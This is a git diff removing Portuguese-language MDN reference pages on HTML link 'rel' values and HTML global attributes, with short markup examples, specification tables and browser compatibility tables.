{{anch("attr-license", "license")}}O conteúdo principal do documento atual está protegido pela licença de direitos de autor referida no link.LinkLinkLink
manifestWeb app manifestLinkNão permitidoNão permitido
modulepreloadPede ao browser para antecipadamente descarregar o script e guardá-lo no mapa de módulos do documento, para avaliar depois. As dependências do módulo também podem ser descarregadas, opcionalmente.Recurso externoNão permitidoNão permitido
{{anch("attr-next", "next")}}Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este link é o seguinte.LinkLinkLink
{{anch("attr-nofollow", "nofollow")}}Indica que o autor ou editor do documento atual não aprova o documento referenciado.Não permitidoAnotaçãoAnotação
noopenerCria um contexto de navegação de nível superior e não é "auxiliar" (não está relacionado com outro contexto de navegação), mesmo que a hiperligação estivesse configurada para criar outro tipo de contexto (atribuindo um certo valor ao atributo target, por exemplo).Não permitidoAnotaçãoAnotação
{{anch("attr-noreferrer", "noreferrer")}}Comporta-se do mesmo modo que noopener, mas exclui o header Referer do pedido.Não permitidoAnotaçãoAnotação
{{anch("attr-opener", "opener")}}Cria um contexto de navegação auxiliar, mesmo que a hiperligação fosse criar um contexto de navegação de nível superior que não fosse auxiliar  (por exemplo, no caso de um link com  "_blank" como valor do atributo target).Não permitidoAnotaçãoAnotação
{{anch("attr-pingback", "pingback")}}Indica o endereço do servidor pingback que controla pingbacks para o document atual.Recurso externoNão permitidoNão permitido
preconnectInforma o user agent de que este deve ligar-se antecipadamente à origem do recurso apontado pelo link.Recurso externoNão permitidoNão permitido
prefetchInforma o user agent de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em cache, porque é provável que este seja necessário numa futura navegação.Recurso externoNão permitidoNão permitido
preload -

Informa o user agent de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em cache. Tal deverá ocorrer para para que o recurso seja usado na navegação atual, com base no atributo as (e na prioridade associada ao recurso apontado).

-
Recurso externoNão permitidoNão permitido
prerenderInforma o user agent de que este deve antecipadamente descarregar o recurso apontado e futuramente responder mais rapidamente ao mesmo pedido.Recurso externoNão permitidoNão permitido
{{anch("attr-prev", "prev")}}Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este link é o anterior.LinkLinkLink
{{anch("attr-search", "search")}}Aponta para um recurso onde se pode pesquisar por conteúdo do documento atual e de páginas relacionadas.LinkLinkLink
{{anch("attr-stylesheet", "stylesheet")}}Importa uma style sheet.Recurso externoNão permitidoNão permitido
{{anch("attr-tag", "tag")}}Fornece uma tag (identificada pelo endereço referido) a ser usada no documento atual.Não permitidoLinkNão aplicado
- -

O atributo rel é relevate para os elementos {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. No entanto, alguns dos valores só são relevantes para casos específicos deste grupo de elementos. Para o valor de rel, não há diferenciação entre maiúsculas e minúsculas, tal como em nos atributos HTML em geral.

- -

rel não tem um valor por defeito. Se o atributo for omitido ou se os seus valores forem inválidos, então não existe qualquer relação entre o documento atual e o recurso apontado, fora a existência de uma hiperligação. Por exemplo, para {{htmlelement('link')}} e {{htmlelement('form')}}, se rel for omitido, ou se não tiver pelo menos uma das keywords em cima (separadas por espaços), então não são criadas hiperligações. Mas se o mesmo acontecer com os elementos {{htmlelement('a')}} ou {{htmlelement('area')}}, então os elementos criam hiperligações sem uma relação específica.

- -

Valores

- -

Se houverem vários elementos <link rel="icon">, o browser verifica os atributos media, type e sizes destes para selecionar o ícone mais adequado. Se mais do que um elemento for adequado, é o último que é usado. Se o ícone selecionado acabar por não ser apropriado (porque usa um formato não suportado, por exemplo), o browser seleciona o próximo elemento mais adequado.

- -

Nota: Sistemas Apple iOS não usam este tipo de link, nem o atributo sizes (usado por outros browsers para dispositivos móveis), para escolher um ícone para um Web Clip ou para um placeholder visível no arranque. Sistemas iOS usam apple-touch-icon e apple-touch-startup-image respetivamente, atributos que não são padrão.

- -

O tipo de link shortcut é frequentemente encontrado antes de icon, mas não é padrão, é ignorado, e já não deve ser usado por autores para a web.

- -
-
{{htmlattrdef("alternate")}}
-
Aponta para uma versão alternativa do documento atual. É compatível com elementos link, a, e area. O efeito de alternate depende do valor de outros atributos: -
    -
  • Em conjunto com {{anch('stylesheet')}} num link, alternate cria uma folha de estilo (style sheet) alternativa. -
    <!-- uma folha de estilo persistente -->
    -<link rel="stylesheet" href="default.css">
    -<!-- folhas de estilo alternativas -->
    -<link rel="alternate stylesheet" href="highcontrast.css" title="High contrast">
    -
  • -
  • Com um atributo hreflang que tenha um valor diferente da língua do documento, alternate aponta para uma versão traduzida do documento.
  • -
  • Com um atributo type, aponta para um documento com o mesmo contexto mas formato diferente. Por exemplo, com type="application/rss+xml" cria uma hiperligação para um feed RSS. -
    <link rel="alternate" type="application/atom+xml" href="posts.xml" title="Blog">
    -
  • -
  • Os atributos hreflang e type apontam para versões do documento atua com formatos ou línguas diferentes, que podem ser dedicados a outros media -
    <link rel=alternate href="/fr/html/print" hreflang=fr type=text/html media=print title="French HTML (for printing)">
    -<link rel=alternate href="/fr/pdf" hreflang=fr type=application/pdf title="French PDF">
    -
  • -
-
-
{{htmlattrdef("author")}}
-
Cria uma hiperligação que indica o autor do documento ou artigo atual. Compatível com elementos {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando usado com {{htmlelement('a')}} ou {{htmlelement('area')}}, aponta para um documento (ou mailto:) com informação sobre o autor ou do {{htmlelement('article')}} pai mais próximo (se existir), ou do documento em si. No caso de um elemento {{htmlelement('link')}}, aponta para informação sobre o autor do documento atual. -

Nota: O atributo obsoleto rev="made" é tratado como rel="alternate"

-
-
{{htmlattrdef("bookmark")}}
-
Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}, bookmark informa que o link é um permalink para uma secção pai, que pode ser o {{htmlelement('article')}} ou {{htmlelement('section')}} mais próximo. Se tal secção não existir, o link refere-se ou ao heading mais próximo (que pode ser irmão do link, ou descender de um pai comum).
-
{{htmlattrdef("canonical")}}
-
Compatível com {{htmlelement('link')}}. Define o URL ideal para o documento atual, que é útil para motores de busca.
-
{{htmlattrdef("dns-prefetch")}}
-
Compatível com {{htmlelement('link')}}, seja dentro do {{htmlelement('body')}} ou do {{htmlelement('head')}}. Alerta o browser para antecipadamente efetuar resolução de DNS para a origem do recurso apontado. É útil para recursos que provavelmente serão úteis para o utilizador, porque este será capaz de aceder aos recursos mais rapidamente. Consulte a página sobre como utilizar o DNS prefetch para mais informações.
-
{{htmlattrdef("external")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento referenciado não pertence ao site atual. Este valor é útil para estilizar links externos, e assim informar os utilizadores de que, se ativarem o elemento, vão abandonar o site atual.
-
{{htmlattrdef("help")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Usado para representar uma ligação para conteúdo informativo sobre o pai do elemento com a hiperligação (e descendentes desse mesmo pai). Se um <link> contiver este valor, então o documento referenciado serve de apoio para o documento atual (em geral). Quando o valor está presente num elemento {{htmlelement('a')}} ou {{htmlelement('area')}}, o cursor {{cssxref('cursor')}} passará a help em vez de pointer (se possível).
-
{{htmlattrdef("icon")}}
-
-

Compatível com {{htmlelement('link')}}. Indica que o recurso referenciado é um ícone representativo do documento atual.

- -

Este valor é principalmente utilizado para definir um favicon:

- -
<link rel="icon" href="favicon.ico">
- -

Se houverem vários elementos <link rel="icon">, então o browser deduz que favicon utilizar com base nos atributos media, type, e sizes. Caso mais que um destes elementos sejam os mais adequados (com base nestes critérios), então o browser seleciona o último destes. Se, posteriormente, o ícone mais adequado deixar de o ser, então o browser passa a usar o próximo ícone mais adequado.

- -

Nota: para selecionar um ícone para um Web Clip ou para placeholder de arranque, o sistema iOS da Apple não usa nem este tipo de link nem o atributo sizes. Ao contrário de outros browsers mobile, este sistema usa os valores apple-touch-icon e apple-touch-startup-image respetivamente. Estes valores não são considerados standard.

- -

O valor shortcut é frequentemente encontrado antes de icon, mas já não deve ser utilizado por autores na webshortcut não pertence a uma especificação, e é ignorado por diversos browsers. 

-
-
{{htmlattrdef("license")}}
-
-

Compatível com elementos {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}. O valor indica que a hiperligação aponta para informação de licenciamento relativa ao documento atual. Deste modo, sabe-se que o conteúdo principal do documento atual está protegido pela licença de copyright descrita no documento referenciado. Mesmo quando utilizado num descendente que não pertence ao elemento {{HTMLElement("head")}}, não há distinção entre uma hiperligação para uma licença associada ou a parte do documento ou ao documento em geral. Esta distinção só é possível através da informação na página.

- -
<link rel="license" href="#license">
- -

Nota: Apesar de reconhecido, o valor "equivalente" copyright não é correto, pelo que deve ser evitado.

-
-
{{htmlattrdef("manifest")}}
-
Manifesto web app. Requer o protocolo CORS para adquirir dados de origens diferentes (cross-origin).
-
{{htmlattrdef("modulepreload")}}
-
Útil para questões de performance, compatível com elementos {{htmlelement('link')}} em todo o documento. Informa o browser de que este deve antecipadamente descarregar o script referenciado (com as dependências respetivas), e armazená-lo no módulo de mapa de módulos para futura avaliação. Hiperligações com modulepreload podem ser usados para garantir que o recurso é descarregado com o módulo pronto (mas não avaliado) no mapa de módulo ainda antes de ser necessário. Veja também a página sobre tipos de link: modulepreload.
-
{{htmlattrdef("next")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento atual pertence a uma série de documentos, e que o documento na série que se segue é referenciado pelo elemento em questão. Quando o valor está presente num elemento <link>, os browsers podem assumir que este recurso vai ser necessário posteriormente, e considerar esta informação uma "resource hint" (dica de recurso que podem descarregar antecipadamente).
-
{{htmlattrdef("nofollow")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. nofollow informa spiders (de motores de busca) de que devem ignorar a relação definida pelo link. Este valor pode indicar que o dono do documento atual não confia ou aprova o documento referenciado. nofollow é frequentemente incluído por Search Engine Optimizers (otimizadores de motores de busca) para dar a impressão de que os seus link farms não são páginas de spam.
-
{{htmlattrdef("noopener")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando selecionado, o link cria um contexto de navegação de topo (top-level browsing context) que não é auxiliar (auxiliary), mesmo que tenha condições para criar um contexto auxiliar (ex.: por ter um valor para target adequado). Por outras palavras, o link comporta-se como se window.opener fosse nulo e target="_parent" estivesse definido.
-
- noopener faz o contrário de {{anch("opener")}}.
-
{{htmlattrdef("noreferrer")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando incluído, o referrer (página com referência para o recurso) desconhecido. Deste modo, o pedido não inclui Referer no header, e cria um contexto de navegação de topo (top-level browsing context), como se noopener também estivesse definido.
-
{{htmlattrdef("opener")}}
-
Cria um contexto de navegação auxiliar (auxiliary browsing context), mesmo que o link tenha características para criar um contexto de navegação que não fosse auxiliar (via target="_blank").
-
opener faz o contrário de {{anch("noopener")}}.
-
{{htmlattrdef("pingback")}}
-
Define o endereço do servidor de pingback que controla pingbacks para o documento atual.
-
{{htmlattrdef("preconnect")}}
-
Define que o user agent deve antecipadamente conectar-se à origem do recurso apontado.
-
{{htmlattrdef("prefetch")}}
-
Define que o user agent deve antecipadamente descarregar e guardar em cache o recurso apontado. Deste modo, o recurso fica pronto se requisitado posteriormente.
-
{{htmlattrdef("preload")}}
-
Define que o user agent deve antecipadamente descarregar e guardar em cache o recurso apontado para a navegação atual. Deste modo, o recurso está preparado para ser usado num potencial destino da navegação, definido pelo atributo as (a prioridade associada a este destino também é considerada).
-
{{htmlattrdef("prerender")}}
-
Define que o user agent deve antecipadamente descarregar e renderizar o recurso apontado, acelerando respostas a pedidos equivalentes.
-
{{htmlattrdef("prev")}}
-
-

Equivalente à palavra-chave {{anch("next")}}, compatível com os elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. O valor prev indica que o documento atual pertence a uma série de documentos, sendo o link referenciado para o documento que se segue ao atual.

- -

Nota: O valor sinónimo previous não deve ser usado incorrect and should not be used, porque é incorreto.

-
-
{{htmlattrdef("search")}}
-
-

Compatível com elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. search indica que o link referencia um documento com uma interface para pesquisar por conteúdo do documento atual, seja no site ou em recursos relacionados.

- -

Se o atributo type do elemento for application/opensearchdescription+xml, então o recurso apontado é um plugin OpenSearch que pode ser facilmente adicionado a alguns browsers, como o Firefox ou o Internet Explorer.

-
-
{{htmlattrdef("stylesheet")}}
-
-

Compatível com elementos {{htmlelement('link')}}. Importa um recurso externo que é uma stylesheet (folha de estilos). Caso o link aponte para uma stylesheet do tipo text/css, então pode-se omitir o atributo type.

- -

Apesar do valor identificar o link como uma stylesheet, outros atributos ou valores poderão determinar se esta é descarregada ou usada.

- -

Quando o valor stylesheet é usado em conjunto com {{anch('alternate')}}, passa a definir uma stylesheet alternativa. Neste caso, deve ter o atributo title com um valor não-vazio.

- -

O recurso stylesheet externo não será usado nem descarregado em contextos multimédia que não correspondam ao definido pelo atributo media (ex.: se o link para a stylesheet tiver um atributo media com valor "print", então a stylesheet não será descarregada quando a página é renderizada numa tela).

- -

Requer o uso do protocolo CORS para pedidos com origens diferentes.

-
-
{{htmlattrdef("tag")}}
-
Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}. Define que o link referenciado identifica uma palavra-chave que se aplica ao documento atual. Este tipo de link não deve identificar palavras-chave numa tag cloud, porque estas aplicam-se apenas a um grupo de páginas, e não a uma página só (que é o objetivo do valor tag).
-
- -

Valores que não são standard

- -
-
apple-touch-icon-precomposed
-
-
 <!-- iPad de terceira geração com tela Retina de alta resolução: -->
-  <link rel="apple-touch-icon-precomposed" sizes="144x144" href="/static/img/favicon144.e7e21ca263ca.png">
-  <!-- iPhone com tela Retina de alta resolução: -->
-  <link rel="apple-touch-icon-precomposed" sizes="114x114" href="/static/img/favicon114.d526f38b09c5.png">
-  <!-- iPad de primeira e segunda gerações: -->
-  <link rel="apple-touch-icon-precomposed" sizes="72x72" href="/static/img/favicon72.cc65d1d762a0.png">
-  <!-- iPhone e iPod Touch sem telas Retina, e dispositivos Android 2.1 ou superior: -->
-  <link rel="apple-touch-icon-precomposed" href="/static/img/favicon57.de33179910ae.png">
-  <!-- favicon básico -->
-  <link rel="shortcut icon" href="/static/img/favicon32.7f3da72dcea1.png">
-
-
- -

Compatibilidade de Browsers do atributo rel em geral

- - - -

{{Compat("html.elements.attributes.rel")}}

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName('HTML WHATWG', 'links.html#linkTypes', 'rel attribute')}}{{Spec2('HTML WHATWG')}}Adicionado opener. noopener passou a ser definido por omissão com target="_blank".
{{SpecName('HTML5 W3C', 'links.html#linkTypes', 'rel attribute')}}{{Spec2('HTML5 W3C')}}Adicionados tag, search, prefetch, noreferrer, nofollow, icon, e author.
- copyright passou a ser license.
- Removidos start, chapter, section, subsection, e appendix
{{SpecName("Preload", "#x2.link-type-preload", "preload")}}{{Spec2("Preload")}}Adicionado preload.
{{SpecName("Resource Hints", "#dfn-preconnect", "preconnect")}}{{Spec2("Resource Hints")}}Adicionados dns-prefetch, preconnect, e prerender.
{{SpecName("HTML4.01", "types.html#type-links", "link types")}}{{Spec2("HTML4.01")}}Adicionados alternate, stylesheet, start, chapter, section, subsection, appendix, e bookmark.
- previous passou a ser prev.
- Removidos top, e search.
{{SpecName("HTML3.2", "#link", "<link>")}} -

{{Spec2("HTML3.2")}} (Obsoleto)

-
Adicionados top, contents, index, glossary, copyright, next, previous, help, e search.
{{RFC(1866, "HTML 2.0")}}{{Spec2("HTML2.0")}}(Obsolete)Definição inicial.
- - - - - -

{{Compat("html.elements.link.rel")}}

- -

Veja também

- - diff --git a/files/pt-pt/web/html/atributos_globais/index.html b/files/pt-pt/web/html/atributos_globais/index.html deleted file mode 100644 index 2b4a86e833..0000000000 --- a/files/pt-pt/web/html/atributos_globais/index.html +++ /dev/null @@ -1,480 +0,0 @@ ---- -title: Atributos globais -slug: Web/HTML/Atributos_globais -tags: - - HTML - - Precisa Compatibilidade Navegador - - Referencia - - Web - - atributo -translation_of: Web/HTML/Global_attributes ---- -
{{HTMLSidebar("Global_attributes")}}
- -
-

Os 'Atributos Globais' são atributos comuns a todos os elementos HTML; estes podem ser utilziados em todos os elementos, embora os atributos poderão não ter efeito em alguns elementos.

-
- -

Os atributos globais podem ser especificados em todos os elementos HTML, mesmo aqueles que não estão especificados no padrão. Isso significa que qualquer elemento não padrão ainda deve permitir esses atributos, mesmo que utilizando esses elementos significa que o documento já não é mais compatível com HTML5. Por exemplo, navegadores compatíveis com HTML5 ocultam conteúdo marcado como <foo hidden>...<foo>, mesmo que <foo> não seja um elemento HTML válido.

- -

Além dos atributos globais HTML básicos, também existem os seguintes atributos globais:

- - - -

Descrição

- -
-
accesskey
-
Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout.
-
class
-
Is a space-separated list of the classes of the element. Classes allows CSS and JavaScript to select and access specific elements via the class selectors or functions like the method {{domxref("Document.getElementsByClassName()")}}.
-
contenteditable
-
Is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values: -
    -
  • true or the empty string, which indicates that the element must be editable;
  • -
  • false, which indicates that the element must not be editable.
  • -
-
-
contextmenu
-
Is the id of an {{HTMLElement("menu")}} to use as the contextual menu for this element.
-
data-*
-
Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the HTML and its DOM representation that may be used by scripts. All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them.
-
dir
-
Is an enumerated attribute indicating the directionality of the element's text. It can have the following values: -
    -
  • ltr, which means left to right and is to be used for languages that are written from the left to the right (like English);
  • -
  • rtl, which means right to left and is to be used for languages that are written from the right to the left (like Arabic);
  • -
  • auto, which let the user agent decides. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then apply that directionality to the whole element.
  • -
-
-
draggable
-
Is an enumerated attribute indicating whether the element can be dragged, using the Drag and Drop API. It can have the following values: -
    -
  • true, which indicates that the element may be dragged
  • -
  • false, which indicates that the element may not be dragged.
  • -
-
-
dropzone {{experimental_inline}}
-
Is an enumerated attribute indicating what types of content can be dropped on an element, using the Drag and Drop API. It can have the following values: -
    -
  • copy, which indicates that dropping will create a copy of the element that was dragged
  • -
  • move, which indicates that the element that was dragged will be moved to this new location.
  • -
  • link, will create a link to the dragged data.
  • -
-
-
hidden
-
Is a Boolean attribute indicates that the element is not yet, or is no longer, relevant. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown.
-
id
-
Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).
-
- -
-

Nota: os atributos item* são parte de uma  funcionalidade Microdados HTML de WHATWG.

-
- -
-
itemid {{experimental_inline}}
-
The unique, global identifier of an item.
-
itemprop {{experimental_inline}}
-
Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.
-
itemref {{experimental_inline}}
-
Properties that are not descendants of an element with the itemscope attribute can be associated with the item using an itemref. Itemref provides a list of element ids (not itemids) with additional properties elsewhere in the document.
-
itemscope {{experimental_inline}}
-
Itemscope (usually) works along with itemtype to specify that the HTML contained in a block is about a particular item. itemscope creates the Item and defines the scope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as schema.org) that describes the item and its properties context.
-
itemtype {{experimental_inline}}
-
Specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. Itemscope is used to set the scope of  where in the data structure the vocabulary set by itemtype will be active.
-
lang
-
Participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. The tag contains one single entry value in the format defined in the Tags for Identifying Languages (BCP47) IETF document. xml:lang has priority over it.
-
- -
-
slot {{experimental_inline}}
-
Assigns a slot in a shadow DOM shadow tree to an element: An element with a slot attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose {{htmlattrxref("name", "slot")}} attribute's value matches that slot attribute's value.
-
- -
-
spellcheck {{experimental_inline}}
-
Is an enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values: -
    -
  • true, which indicates that the element should be, if possible, checked for spelling errors;
  • -
  • false, which indicates that the element should not be checked for spelling errors.
  • -
-
-
style
-
Contains CSS styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes.
-
tabindex
-
Is an integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values: -
    -
  • a negative value means that the element should be focusable, but should not be reachable via sequential keyboard navigation;
  • -
  • 0 means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;
  • -
  • a positive value which means should be focusable and reachable via sequential keyboard navigation; its relative order is defined by the value of the attribute: the sequential follow the increasing number of the tabindex. If several elements share the same tabindex, their relative order follows their relative position in the document).
  • -
-
-
title
-
Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip.
-
translate {{experimental_inline}}
-
Is an enumerated attribute that is used to specify whether an element's attribute values and the values of its {{domxref("Text")}} node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values: -
    -
  • empty string and "yes", which indicates that the element will be translated.
  • -
  • "no", which indicates that the element will not be translated.
  • -
-
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML WHATWG')}}From latest snapshot, {{SpecName('HTML5.1')}}, itemid, itemprop, itemref, itemscope, and itemtype have been added.
{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML5 W3C')}}, spellcheck, draggable, and dropzone have been added.
{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the dir, lang, style, id, class, tabindex, accesskey, and title are now true global attributes.
- xml:lang which was initially part of XHTML, is now also part of HTML.
- hidden, data-*, contextmenu, contenteditable, and translate have been added.
{{SpecName('HTML4.01')}}{{Spec2('HTML4.01')}}There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.
- class and style are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.
- dir is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.
- id is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.
- lang is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.
- tabindex is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
- accesskey is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.
- title is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.
- -

Compatibilidade de navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
accesskey{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
class{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
contenteditable{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
contextmenu{{CompatNo}}{{CompatGeckoDesktop(9)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
data-*{{CompatVersionUnknown}}{{CompatGeckoDesktop("6")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
dir{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
draggable{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
dropzone{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
hidden{{CompatVersionUnknown}}{{CompatGeckoDesktop("2")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
id{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
itemid, itemprop, itemref, itemscope, itemtype{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
lang{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
spellcheck{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
style{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
tabindex{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
title{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
accesskey{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
class{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
contenteditable{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
contextmenu{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
data-*{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
dir{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
draggable{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
dropzone{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
hidden{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
id{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
itemid, itemprop, itemref, itemscope, itemtype{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
